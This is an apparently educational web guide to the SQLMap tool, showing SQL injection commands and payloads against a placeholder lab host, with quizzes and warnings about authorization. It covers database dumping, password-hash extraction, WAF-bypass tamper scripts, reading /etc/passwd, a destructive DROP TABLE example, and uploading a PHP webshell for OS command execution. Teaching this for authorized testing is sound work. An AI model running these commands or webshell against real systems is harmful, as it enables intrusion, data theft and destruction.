kavklaw@llm ~ /guides/sqlmap

kavklaw@llm $ sqlmap --wizard

SQLMap Guide

🟡 Intermediate

SQL Injection Automation — From Detection to Full Database Compromise

Intermediate 📖 20 min read
← Back to Guides

🎯 What is SQLMap?

SQLMap is the de facto standard open-source tool for automated SQL injection detection and exploitation. SQL injection (SQLi) is a vulnerability where you can insert database commands into a website's input fields, tricking the server into running your queries. Written in Python, SQLMap supports virtually every major RDBMS (Relational Database Management System) — MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, MariaDB, and many more. Instead of manually crafting injection payloads, SQLMap does the heavy lifting: it identifies injection points, determines the database backend, enumerates databases/tables/columns, dumps data, and can even escalate to operating-system-level access.

But here's the critical thing that separates script kiddies from actual pentesters: SQLMap is a tool, not a strategy. You should understand how SQL injection works manually before relying on automation. If you can't explain what a UNION-based injection does, you're going to miss edge cases, trigger WAFs unnecessarily, and waste time. Use this guide alongside our SQL Injection Cheat Sheet to build that foundation.

⚡ Quick Start

If you just want to get started fast, here's the absolute minimum to test a URL for SQL injection. You point SQLMap at a URL with a parameter (like ?id=1), and it automatically tries dozens of injection techniques to see if the parameter is vulnerable:

# Test a GET parameter for SQLi
sqlmap -u "http://target.htb/page?id=1"

# Test with more aggressive detection
sqlmap -u "http://target.htb/page?id=1" --level 3 --risk 2

# If vulnerable, enumerate databases
sqlmap -u "http://target.htb/page?id=1" --dbs

# Dump a specific table
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users --dump

That's the 30-second version. Keep reading for the methodology that actually works in the real world.

SQLMap comes pre-installed on Kali Linux and Parrot OS. It requires Python 3.x — no additional dependencies. If you need to install it manually:

# Clone from GitHub (always latest — recommended)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h

# Or via apt on Debian/Ubuntu
sudo apt install sqlmap

# Or install via pip (less recommended — may be outdated)
pip3 install sqlmap

# Check your Python version (3.x required)
python3 --version
💡 Pro tip: Always use the GitHub version for CTFs and engagements. The apt/pip versions can lag behind, and new tamper scripts and techniques are added regularly. A quick git pull inside the sqlmap directory keeps you current.

🔧 Basic Usage

Testing GET Parameters

The most common scenario — you have a URL with a query parameter that might be injectable:

# Test a single parameter
sqlmap -u "http://target.htb/products?id=5"

# Test a specific parameter (if URL has multiple)
sqlmap -u "http://target.htb/search?category=electronics&sort=price" -p category

# Force testing all parameters
sqlmap -u "http://target.htb/search?q=test&page=1&sort=name" --level 5

Testing POST Parameters

Login forms, search boxes, and API endpoints often use POST requests:

# Specify POST data with --data
sqlmap -u "http://target.htb/login" --data="username=admin&password=test"

# Test only the username parameter
sqlmap -u "http://target.htb/login" --data="username=admin&password=test" -p username

# JSON POST body
sqlmap -u "http://target.htb/api/search" --data='{"query":"test","limit":10}' --content-type="application/json"

Using Cookies and Headers

Many applications require authentication or use session cookies:

# Pass cookies
sqlmap -u "http://target.htb/dashboard?id=1" --cookie="session=abc123; role=user"

# Test injection in cookie values themselves
sqlmap -u "http://target.htb/dashboard" --cookie="user_id=1*" --level 2
# The * marks the injection point

# Custom headers
sqlmap -u "http://target.htb/api/data" --headers="Authorization: Bearer eyJhbG..."

# Test injection in a header value
sqlmap -u "http://target.htb/log" --headers="X-Forwarded-For: 127.0.0.1*"

Using Saved Burp Requests

This is the most reliable method for complex requests. Intercept the request in Burp Suite, right-click → "Copy to file", then feed it to SQLMap:

# Save your Burp request to a file (request.txt):
# POST /api/v2/search HTTP/1.1
# Host: target.htb
# Cookie: session=abc123
# Content-Type: application/x-www-form-urlencoded
#
# query=test&category=all

# Feed it to sqlmap
sqlmap -r request.txt

# Test a specific parameter from the saved request
sqlmap -r request.txt -p query

# Works with complex multipart, JSON, XML — everything
sqlmap -r request.txt --level 3 --risk 2
💡 Pro tip: Using -r with a saved request file is the recommended approach for anything beyond trivial GET parameters. It preserves all headers, cookies, content types, and formatting exactly as the application expects them. This is especially important for APIs with JWT tokens or CSRF tokens.

🔍 Detection Techniques

SQLMap uses five distinct techniques to detect and exploit SQL injection. Don't worry if these look complicated; you don't need to memorize them. SQLMap picks the best technique automatically. Understanding what each one does helps you interpret output and troubleshoot when detection fails.

Boolean-Based Blind (B)

SQLMap sends payloads that create TRUE/FALSE conditions and compares the page response to determine if the injection worked:

# What SQLMap does internally:
# Original: /page?id=1        → Normal page (TRUE baseline)
# Test:     /page?id=1 AND 1=1 → Same page? TRUE → injectable
# Test:     /page?id=1 AND 1=2 → Different page? FALSE → confirmed

# This is BLIND because data doesn't appear in the response
# SQLMap extracts data one bit at a time:
# /page?id=1 AND SUBSTRING(database(),1,1)='a'  → different page → not 'a'
# /page?id=1 AND SUBSTRING(database(),1,1)='b'  → different page → not 'b'
# ... until it finds a match

Error-Based (E)

Forces the database to produce error messages that contain data. Much faster than blind because you get data directly in error output:

# MySQL example:
# /page?id=1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))
# Error: "XPATH syntax error: '~webapp~'"
#                                  ^^^^^^^^ leaked database name!

# MSSQL example:
# /page?id=1 AND 1=CONVERT(int, (SELECT DB_NAME()))
# Error: "Conversion failed when converting 'webapp' to int"

UNION-Based (U)

Appends a UNION SELECT to the original query. In SQL, UNION combines the results of two queries into one — so the attacker's query results appear alongside the legitimate data in the page output. The fastest technique when available:

# SQLMap first determines the number of columns:
# /page?id=1 ORDER BY 1 → OK
# /page?id=1 ORDER BY 2 → OK
# /page?id=1 ORDER BY 3 → OK
# /page?id=1 ORDER BY 4 → Error → 3 columns

# Then injects UNION SELECT:
# /page?id=-1 UNION SELECT 1,2,3         → see which columns display
# /page?id=-1 UNION SELECT 1,database(),3 → database name appears on page

Time-Based Blind (T)

When the page looks identical regardless of TRUE/FALSE, SQLMap uses time delays to infer results:

# MySQL:
# /page?id=1 AND SLEEP(5)                → 5 second delay → injectable
# /page?id=1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)
#   → 5 second delay? First char is 'a'
#   → Instant response? Not 'a', try next

# This is the SLOWEST technique — each character requires multiple requests
# Extracting a 20-char string could take hundreds of requests

Stacked Queries (S)

Injects entirely new SQL statements using semicolons. Not all DB/driver combinations support this, but when it works, it's incredibly powerful:

# /page?id=1; DROP TABLE users--          (destructive — never do this!)
# /page?id=1; INSERT INTO users VALUES('hacker','admin')--
# /page?id=1; EXEC xp_cmdshell('whoami')--   (MSSQL command execution)

# Stacked queries enable WRITE operations, not just reads
# This is how --os-shell works on MSSQL

📊 The --level and --risk Flags

These two flags control how aggressive SQLMap's testing is. Understanding them is essential:

--level (1-5, default: 1)

  • Level 1: Tests GET and POST parameters only. Basic payloads.
  • Level 2: Also tests Cookie header values.
  • Level 3: Also tests User-Agent and Referer headers. More payload variations.
  • Level 4: Even more payloads, more test variations.
  • Level 5: Everything. Tests all headers. Maximum payload complexity. Very slow.

--risk (1-3, default: 1)

  • Risk 1: Harmless tests only. No risk of data modification.
  • Risk 2: Adds heavy time-based tests (may cause delays on target).
  • Risk 3: Adds OR-based payloads. WARNING: OR 1=1 on an UPDATE/DELETE can modify or wipe data!
# Default (safe, fast)
sqlmap -u "http://target.htb/page?id=1"

# More thorough (good for CTFs)
sqlmap -u "http://target.htb/page?id=1" --level 3 --risk 2

# Maximum detection (slow, potentially destructive)
sqlmap -u "http://target.htb/page?id=1" --level 5 --risk 3
# ⚠️ Risk 3 can modify data — never use on production systems
💡 Pro tip: For CTFs, --level 3 --risk 2 is usually the sweet spot. Level 5 risk 3 is rarely needed and takes forever. If that doesn't find it, the injection point is probably more exotic — try using -r with a Burp request and manually marking the injection point with *.
🧠 Knowledge Check — SQLMap Basics & Detection
Complete this command to test a POST login form for SQL injection, targeting only the username parameter:
--data specifies POST parameters (not --post), and -p username tells SQLMap to only test the username parameter. Without -p, SQLMap would test every parameter sequentially which is slower. The URL should not contain POST data as query parameters. For complex requests, using -r with a saved Burp request file is even more reliable.
What is the recommended --level and --risk combination for CTF challenges?
--level 3 --risk 2 is the sweet spot. Level 3 tests cookies, User-Agent, and Referer headers with more payload variations. Risk 2 adds time-based tests. Risk 3 is dangerous because it uses OR-based payloads that can modify or delete data in UPDATE/DELETE statements. Level 5 is extremely slow and rarely necessary. For production systems, stick to risk 1.
You see this SQLMap output: the back-end DBMS is MySQL. What technique is the fastest for extracting data?
UNION-based injection is by far the fastest because it extracts data directly in the page output — one request per query. Boolean-based extracts data bit by bit (many requests). Time-based is the slowest (each bit requires a timed delay). Use --technique=U to force UNION-only when you know it works. Stacked queries are powerful but not supported by all driver/DB combinations.

📋 Database Enumeration

Once SQLMap confirms injection, the fun begins — extracting everything from the database:

# Step 1: List all databases
sqlmap -u "http://target.htb/page?id=1" --dbs
# Output: [*] information_schema
#         [*] webapp
#         [*] mysql

# Step 2: List tables in a database
sqlmap -u "http://target.htb/page?id=1" -D webapp --tables
# Output: [*] users
#         [*] posts
#         [*] sessions

# Step 3: List columns in a table
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users --columns
# Output: [*] id (int)
#         [*] username (varchar)
#         [*] password (varchar)
#         [*] email (varchar)
#         [*] role (varchar)

# Step 4: Dump the data
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users --dump
# Output: Table with all user data, passwords auto-cracked if hashed

# Dump specific columns only
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users -C username,password --dump

# Dump everything (all databases, all tables)
sqlmap -u "http://target.htb/page?id=1" --dump-all
# ⚠️ This can take a VERY long time on large databases

Additional Enumeration Options

# Current database name
sqlmap -u "http://target.htb/page?id=1" --current-db

# Current database user
sqlmap -u "http://target.htb/page?id=1" --current-user

# Is the user a DBA (database admin)?
sqlmap -u "http://target.htb/page?id=1" --is-dba

# List database users and their password hashes
sqlmap -u "http://target.htb/page?id=1" --users --passwords

# Database banner (version info)
sqlmap -u "http://target.htb/page?id=1" --banner

# Count rows in a table (without dumping)
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users --count

🔐 Tamper Scripts

Tamper scripts modify SQLMap's payloads to bypass WAFs (Web Application Firewalls, security filters that sit in front of web applications and block suspicious requests) and input filters. They're important when basic injection fails because the application sanitizes your input.

Common Tamper Scripts

# space2comment — replaces spaces with /**/
sqlmap -u "http://target.htb/page?id=1" --tamper=space2comment
# Result: UNION/**/SELECT/**/1,2,3

# between — replaces > with NOT BETWEEN 0 AND
sqlmap -u "http://target.htb/page?id=1" --tamper=between

# charencode — URL-encodes all characters
sqlmap -u "http://target.htb/page?id=1" --tamper=charencode

# randomcase — randomizes keyword case
sqlmap -u "http://target.htb/page?id=1" --tamper=randomcase
# Result: uNiOn SeLeCt

Other useful tamper scripts:

  • space2plus — replaces spaces with +
  • space2hash — replaces spaces with # followed by newline (MySQL)
  • equaltolike — replaces = with LIKE
  • percentage — adds % between each character (ASP/IIS specific)
  • appendnullbyte — appends %00 null byte (old IIS/ASP bypass)

Chaining Tamper Scripts

# Use multiple tamper scripts together (comma-separated)
sqlmap -u "http://target.htb/page?id=1" --tamper=space2comment,randomcase,between

# Common WAF bypass combo
sqlmap -u "http://target.htb/page?id=1" --tamper=space2comment,charencode,randomcase --level 3

# For ModSecurity WAF
sqlmap -u "http://target.htb/page?id=1" --tamper=modsecurityversioned,modsecurityzeroversioned

# List all available tamper scripts
sqlmap --list-tampers
💡 Pro tip: If you're hitting a WAF, also try --random-agent (rotates User-Agent strings) and --delay=1 (adds delay between requests to avoid rate limiting). Sometimes the WAF is blocking based on request frequency, not payload content.

💻 OS-Level Access

When you have DBA (Database Administrator) privileges and the right database/OS combination, SQLMap can escalate from SQL injection to full operating system command execution.

OS Shell (--os-shell)

# Get an interactive OS shell (requires DBA — Database Administrator — privileges)
sqlmap -u "http://target.htb/page?id=1" --os-shell

# How this works (MySQL example):
# 1. SQLMap writes a PHP webshell via SELECT ... INTO OUTFILE
# 2. The webshell is placed in the web root (the directory the web server serves files from)
# 3. SQLMap communicates with the webshell to execute commands

# For MSSQL:
# Uses xp_cmdshell stored procedure (a built-in function that runs OS commands)
# Requires DBA privileges (sa account = system administrator)

# You may need to specify the web root
sqlmap -u "http://target.htb/page?id=1" --os-shell --web-root="/var/www/html"

Reading Files (--file-read)

# Read files from the target system
sqlmap -u "http://target.htb/page?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.htb/page?id=1" --file-read="/var/www/html/config.php"
sqlmap -u "http://target.htb/page?id=1" --file-read="C:/Windows/System32/drivers/etc/hosts"

# MySQL uses LOAD_FILE() — requires FILE privilege (a MySQL permission
# that allows reading files from the server's filesystem)
# Files are saved locally in the sqlmap output directory

Writing Files (--file-write / --file-dest)

# Upload a webshell to the target
sqlmap -u "http://target.htb/page?id=1" --file-write="./shell.php" --file-dest="/var/www/html/shell.php"

# Create a shell.php first:
# <?php system($_GET['cmd']); ?>

# MySQL uses SELECT ... INTO OUTFILE — requires FILE privilege and
# the secure_file_priv variable must allow the destination directory

# After upload:
curl "http://target.htb/shell.php?cmd=id"

🎭 Advanced Techniques

Second-Order Injection

Sometimes the injection point and the result page are different. You inject on page A, but the payload executes when page B reads the stored data:

# --second-url: where to check for results after injecting
sqlmap -u "http://target.htb/register" \
  --data="username=test*&password=test123" \
  --second-url="http://target.htb/profile" \
  --level 3

# Example scenario:
# 1. Registration form stores username in DB (injectable)
# 2. Profile page queries the DB with the stored username
# 3. SQLi executes on the profile page, not the registration

Batch Mode and Automation

# Answer "yes" to all prompts automatically
sqlmap -u "http://target.htb/page?id=1" --batch

# Combine with specific technique to speed things up
sqlmap -u "http://target.htb/page?id=1" --batch --technique=U --dbs

# Only use UNION-based (fastest when available)
sqlmap -u "http://target.htb/page?id=1" --technique=U

# Only use boolean and error-based
sqlmap -u "http://target.htb/page?id=1" --technique=BE

# Technique letters: B(oolean), E(rror), U(nion), T(ime), S(tacked)

Specifying the DBMS

# Skip detection and tell SQLMap the DBMS
sqlmap -u "http://target.htb/page?id=1" --dbms=mysql
sqlmap -u "http://target.htb/page?id=1" --dbms=postgresql
sqlmap -u "http://target.htb/page?id=1" --dbms=mssql
sqlmap -u "http://target.htb/page?id=1" --dbms=sqlite

# This saves time by skipping fingerprinting
# Useful when you already know the backend from error messages

Custom Injection Points

# Mark injection point with * in any position
# In URL path:
sqlmap -u "http://target.htb/api/users/1*/profile"

# In headers:
sqlmap -u "http://target.htb/" --headers="X-Custom: value*"

# In cookie:
sqlmap -u "http://target.htb/" --cookie="id=1*"

# In POST data:
sqlmap -u "http://target.htb/api" --data='{"id": "1*", "name": "test"}'

# Prefix and suffix (custom injection context)
sqlmap -u "http://target.htb/page?id=1" --prefix="')" --suffix="-- -"

⚡ Performance Tuning

# Increase threads (default: 1, max: 10)
sqlmap -u "http://target.htb/page?id=1" --threads 10

# Set timeout per request (seconds)
sqlmap -u "http://target.htb/page?id=1" --timeout 30

# Retry on connection errors
sqlmap -u "http://target.htb/page?id=1" --retries 3

# Limit output entries
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users --dump --start 1 --stop 50

# Use specific technique (avoid slow time-based)
sqlmap -u "http://target.htb/page?id=1" --technique=BEU

# Optimize (combines -o flag optimizations)
sqlmap -u "http://target.htb/page?id=1" -o

# Flush session (start fresh, ignore cached results)
sqlmap -u "http://target.htb/page?id=1" --flush-session

# Verbose output (for debugging)
sqlmap -u "http://target.htb/page?id=1" -v 3
# v levels: 0=minimal, 1=default, 2=debug, 3=payloads, 4=HTTP requests, 5=HTTP responses, 6=page content

🔗 Using SQLMap with Burp Suite

The Burp-to-SQLMap workflow is one of the most efficient approaches for web app testing:

# WORKFLOW:
# 1. Browse the target in Burp, identify potential injection points
# 2. Right-click the interesting request → "Save item" or "Copy to file"
# 3. Save as request.txt
# 4. Feed to SQLMap:

sqlmap -r request.txt --batch --level 3 --risk 2

# Using Burp as a proxy for SQLMap traffic (see what SQLMap sends)
sqlmap -u "http://target.htb/page?id=1" --proxy="http://127.0.0.1:8080"

# Now all SQLMap requests show up in Burp's HTTP history
# Great for understanding what SQLMap does and debugging issues

# Process Burp's sitemap log
sqlmap -l burp_log.txt --batch --smart
# --smart: only test forms that look injectable (heuristic)

🚫 When NOT to Use SQLMap

SQLMap is powerful, but it's not always the right tool:

  • Don't use it as your first test. Always try manual injection first (' OR 1=1--). You'll learn more and make less noise.
  • Don't use it on production systems without authorization. SQLMap sends hundreds/thousands of requests and can crash fragile applications.
  • Don't use risk 3 on real databases. OR-based payloads in UPDATE/DELETE statements can wipe data. This is not theoretical — it happens.
  • Don't rely on it for stored procedures / exotic injection. Custom injection in XML, LDAP, or NoSQL requires manual testing.
  • Don't use it when stealth matters. SQLMap is extremely noisy. Any decent WAF/IDS will flag it immediately. For stealth, manually craft payloads.
  • Don't blindly trust "not injectable" results. SQLMap at level 1 misses a lot. If you suspect injection, manually test before giving up.
💡 Real-world perspective: In penetration testing exams (like OSCP), you're expected to understand SQL injection manually. Pointing SQLMap at every parameter shows a lack of methodology. Use manual testing first, then SQLMap to accelerate exploitation when you've confirmed the vulnerability.

🎯 Methodology — Step-by-Step Approach

  ┌─────────────────────────────────────────────────────┐
  │           SQLMap EXPLOITATION WORKFLOW               │
  └──────────────────────┬──────────────────────────────┘
                         ▼
  1. IDENTIFY ──────── Browse app, note inputs
     injection points   (URL params, POST, cookies, headers)
           │
           ▼
  2. MANUAL TEST ───── Try ' " 1 OR 1=1
     first!             Look for errors/behavior changes
           │
           ▼
  3. CAPTURE ─────── Save exact request in Burp
     in Burp           Right-click → Copy to file
           │
           ▼
  4. SQLMap -r ────── sqlmap -r request.txt
                      Start default, increase level/risk
           │
           ▼
  5. ENUMERATE ────── --dbs → --tables → --columns → --dump
     progressively     Only dump what you need!
           │
           ▼
  6. ESCALATE ─────── DBA? Try --os-shell, --file-read
                      Check credential reuse on SSH/services
  1. Identify injection points — Browse the application, note every input: URL parameters, POST forms, cookies, headers, JSON APIs
  2. Manual testing first — Try ', ", 1 OR 1=1, check for errors or behavioral changes
  3. Capture the request in Burp — Save the exact request that triggers interesting behavior
  4. Run SQLMap with -r — Start with defaults, then increase level/risk if needed
  5. Enumerate progressively--dbs--tables--columns--dump (only dump what you need)
  6. Check for OS access — If DBA, try --os-shell, --file-read for config files
  7. Look for credential reuse — Dumped passwords often work for SSH, admin panels, other services
  8. Document everything — SQLMap stores output in ~/.local/share/sqlmap/output/

❌ Common Mistakes

  • Not URL-encoding special characters — If your parameter value has special chars, encode them or use -r with a Burp request file
  • Forgetting the --batch flag — Interactive prompts can stall automated scans. Use --batch for unattended runs.
  • Testing too many parameters at once — SQLMap tests each parameter sequentially. Use -p to target the one you suspect is vulnerable.
  • Ignoring the session cache — SQLMap caches results. If you change your request, use --flush-session to start fresh.
  • Running against time-based injection without patience — Time-based blind is inherently slow. Don't kill it too early.
  • Not specifying the DBMS when known — If you already know it's MySQL (from error messages), use --dbms=mysql to skip detection.
  • Dumping entire databases unnecessarily--dump-all on a production DB will take hours and generate massive logs. Target specific tables.
  • Not using --proxy to monitor traffic — Route through Burp to understand what SQLMap sends. This is how you learn.

📚 Full Command Reference

# ─── DETECTION ───────────────────────────
-u URL               # Target URL
-r FILE              # Load HTTP request from file
--data=DATA          # POST data
-p PARAM             # Testable parameter(s)
--level=LEVEL        # Tests to perform (1-5, default 1)
--risk=RISK          # Risk of tests (1-3, default 1)
--technique=TECH     # SQL injection techniques (BEUST)
--dbms=DBMS          # Force DBMS type

# ─── ENUMERATION ─────────────────────────
--banner             # DBMS banner
--current-user       # Current DB user
--current-db         # Current database
--is-dba             # Is user a DBA?
--users              # List DBMS users
--passwords          # Dump password hashes
--dbs                # List databases
--tables             # List tables
--columns            # List columns
--dump               # Dump table data
--dump-all           # Dump everything
-D DB                # Target database
-T TABLE             # Target table
-C COLUMNS           # Target columns

# ─── OS ACCESS ───────────────────────────
--os-shell           # Interactive OS shell
--os-cmd=CMD         # Execute single OS command
--file-read=FILE     # Read file from server
--file-write=LOCAL   # Local file to upload
--file-dest=REMOTE   # Remote destination path

# ─── TUNING ──────────────────────────────
--threads=N          # Concurrent requests (1-10)
--delay=SECS         # Delay between requests
--timeout=SECS       # Request timeout
--retries=N          # Retry on failure
--batch              # Non-interactive mode
--flush-session      # Clear cached session
--fresh-queries      # Ignore cached query results
--tamper=SCRIPTS     # Tamper script(s)
--proxy=URL          # Proxy (e.g., Burp)
--random-agent       # Randomize User-Agent
-o                   # Turn on optimizations
-v LEVEL             # Verbosity (0-6)
--output-dir=DIR     # Custom output directory

📖 Further Reading

🏆 Section Assessment — SQLMap Mastery
Complete the correct SQLMap enumeration sequence after confirming SQL injection:
Enumerate progressively: list databases (--dbs), then tables in the interesting database (-D webapp --tables), then columns in the target table (-D webapp -T users --columns), then dump only what you need (--dump). --dump-all is wasteful — it dumps every database including system tables and can take hours. Only dump the specific data you need.
Which tamper script would you use to bypass a WAF that blocks spaces in SQL queries?
space2comment replaces all spaces with SQL comments (/**/), turning UNION SELECT into UNION/**/SELECT. SQL ignores comments between keywords, but the WAF no longer matches the space-based pattern. For a comprehensive bypass, chain multiple tamper scripts: --tamper=space2comment,randomcase,between. Each tamper targets a different filter rule.
What flag tells SQLMap to use a saved Burp Suite request file?
-r request.txt loads the complete HTTP request from a file — preserving all headers, cookies, content types, and formatting exactly as the application expects. This is the recommended approach for anything beyond simple GET requests, especially for APIs with JWT tokens, CSRF tokens, or complex multipart bodies. Save the request from Burp (right-click → Copy to file), then feed it to SQLMap.
SQLMap confirms the target is vulnerable and you have DBA privileges. What command attempts to get an operating system shell?
--os-shell gives you an interactive operating system shell. For MySQL, it works by writing a PHP webshell via SELECT INTO OUTFILE. For MSSQL, it uses the xp_cmdshell stored procedure. Both require DBA privileges. You can also use --file-read to read system files and --file-write + --file-dest to upload files.
Why should you always try manual SQL injection before running SQLMap?
Manual testing first teaches you how injection actually works, generates far less traffic (important for stealth and avoiding WAF bans), and helps you identify edge cases that automated tools miss. SQLMap at level 1 misses many injection points, and blindly pointing it at every parameter shows a lack of methodology. In penetration testing exams like OSCP, manual understanding is expected.